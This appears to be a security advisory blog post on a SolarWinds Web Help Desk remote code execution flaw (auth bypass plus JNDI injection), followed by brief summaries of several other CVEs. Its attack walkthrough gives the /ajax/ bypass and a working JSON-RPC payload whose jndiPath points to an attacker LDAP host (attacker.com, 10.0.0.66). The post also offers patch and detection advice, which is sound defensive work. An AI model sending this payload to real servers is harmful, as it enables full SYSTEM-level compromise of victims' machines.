Feb 10, 2026·6 min read·40 visits
Unauthenticated attackers can bypass access controls to reach a JSON-RPC endpoint, instantiate arbitrary Java classes, and trigger a JNDI injection via `JNDIConnectionPool`, resulting in immediate RCE as SYSTEM.
A critical unauthenticated remote code execution (RCE) vulnerability in SolarWinds Web Help Desk (WHD) allows attackers to execute arbitrary commands with SYSTEM privileges. The flaw stems from a dangerous combination of an authentication bypass and insecure deserialization within the legacy 'jabsorb' library, leading to a classic JNDI injection scenario.
If you thought we left JNDI injections behind in the smoldering crater of Log4j back in 2021, I have bad news for you. SolarWinds Web Help Desk (WHD), a piece of software that likely knows more about your internal infrastructure than you do, has dropped a massive critical vulnerability that feels like a greatest hits album of Java security failures.
CVE-2025-40551 isn't just a bug; it's a catastrophic alignment of legacy code debt and modern exploitation techniques. WHD is widely used by IT departments to manage tickets and assets. Crucially, it often runs with SYSTEM or Root privileges because, well, it's easier that way, right? This makes it a prime target for initial access brokers and ransomware gangs.
Here is the reality of the situation: An unauthenticated attacker can send a few HTTP requests to your exposed WHD instance and walk away with a shell running as the highest privileged user on the box. From there, pivoting to the domain controller is usually just a formality. The vulnerability is already being exploited in the wild, earning it a spot on CISA's KEV list faster than you can say 'LDAP'.
This RCE is actually a beautiful (or horrifying) marriage of two separate issues. The first is an Authentication Bypass (CVE-2025-40536) that lets the riff-raff in the front door. The second is the Insecure Deserialization (CVE-2025-40551) that lets them burn the house down.
The culprit at the heart of the RCE is jabsorb, an ancient JSON-RPC library used by WHD to bridge JavaScript on the frontend with Java objects on the backend. Conceptually, jabsorb is designed to take a JSON request and instantiate a Java object to handle it. In a secure world, this endpoint would be locked behind a heavy iron gate of authentication.
However, SolarWinds' developers implemented a URL validation check that was... optimistic. By simply injecting /ajax/ into the query parameters of a request to the LoginPref page, attackers can trick the server into thinking the request is for a benign resource. This bypasses the authentication filter entirely, allowing an unauthenticated user to initialize the JSONRpcClient. Once you can talk to the JSON-RPC bridge, you can tell it to instantiate any class available on the classpath. It's like locking your front door but leaving the keys in the mailbox.
Let's look at the mechanics. The vulnerability relies on the application's willingness to hydrate Java objects from JSON definitions without validating the class type. The attacker doesn't need to upload a malicious file; they just need to tell the server to load a class that already exists in the code but behaves badly when poked.
The 'gadget' of choice here is org.apache.xalan.lib.sql.JNDIConnectionPool. This class is present in many Java environments and is notorious in the deserialization world. It has a property called jndiPath. When this property is set, the class attempts to resolve the path using JNDI (Java Naming and Directory Interface).
Here is what the logic looks like in an abstract sense. The jabsorb library processes a request like this:
javaClass: "org.apache.xalan.lib.sql.JNDIConnectionPool".jndiPath: "ldap://attacker.com/Exploit" and calls the setter.The code doesn't check if the user should be creating a Connection Pool. It just does it. And because JNDI is powerful, it reaches out to the attacker's LDAP server, downloads a remote class file, and executes it. No compiled exploit code on disk, just pure memory corruption and logic abuse.
Exploiting this requires a precise chain of events. It's not a single packet kill, but it's close. Here is the 'Hacker's View' of the attack lifecycle:
Step 1: The Setup
First, the attacker needs a valid session context, even if unauthenticated. They hit the WHD root to grab a wosid (WebObjects Session ID) and XSRF-TOKEN. This is standard housekeeping.
Step 2: The Bypass
The attacker constructs a GET request to initialize the RPC client. Notice the badparam=/ajax/ injection. This confuses the path parser, allowing access to the protected LoginPref page logic without credentials.
Step 3: The Payload Now, the attacker sends a POST request to the JSON-RPC endpoint. The payload is pure malicious art:
{
"method": "wopage.setVariableValueForName",
"params": [
"exploit_trigger",
{
"javaClass": "org.apache.xalan.lib.sql.JNDIConnectionPool",
"jndiPath": "ldap://10.0.0.66:1389/Exploit"
}
]
}Step 4: The Execution
The server receives this, creates the connection pool, and reaches out to 10.0.0.66 on port 1389 via LDAP. The attacker's rogue LDAP server responds with a reference to a Java class file (e.g., Exploit.class) hosted on an HTTP server. The WHD server downloads this class and executes its constructor. Boom. You have a shell running as SYSTEM.
Let's be blunt: This is a 'Game Over' vulnerability. We aren't talking about a stored XSS where you steal a cookie. We are talking about unauthenticated Remote Code Execution on a server that is likely critical to your IT operations.
Because Web Help Desk is often integrated with Active Directory for SSO and user management, the compromised server is a treasure trove of credentials. Attackers can dump LSASS, steal service account tokens, or pivot directly to the Domain Controller.
Microsoft has confirmed active exploitation where threat actors used this exact flaw to deploy web shells and perform lateral movement within minutes of compromise. If this server is internet-facing (and Shodan says thousands of them are), it is likely already compromised. The EPSS score is skyrocketing, and ransomware groups are undoubtedly adding this to their automated scanning toolkits.
There is only one real fix: Upgrade to version 2026.1. SolarWinds has patched both the auth bypass and the deserialization flaw. Do not pass Go, do not collect $200, just patch it.
If you cannot patch immediately (why?), you need to cut off access. Isolate the Web Help Desk server from the internet. There is almost zero valid business reason for your internal help desk portal to be reachable from the public web without a VPN.
Detection Hunting:
Look for outbound traffic on ports 389 (LDAP), 636 (LDAPS), and 1099 (RMI) initiating from your WHD server. Unless your help desk is also a domain controller (God forbid), it shouldn't be making arbitrary LDAP connections to random IP addresses in Russia or the Netherlands. Also, scan your logs for the string /ajax/ appearing in query parameters for pages that shouldn't have them.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Web Help Desk SolarWinds | <= 12.8.8 HF1 | 2026.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 (Deserialization of Untrusted Data) |
| Attack Vector | Network (CVSS: AV:N) |
| CVSS Score | 9.8 (Critical) |
| Privileges Required | None (PR:N) |
| Exploit Status | Active Exploitation (CISA KEV) |
| EPSS Score | 0.54991 (High Probability) |
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.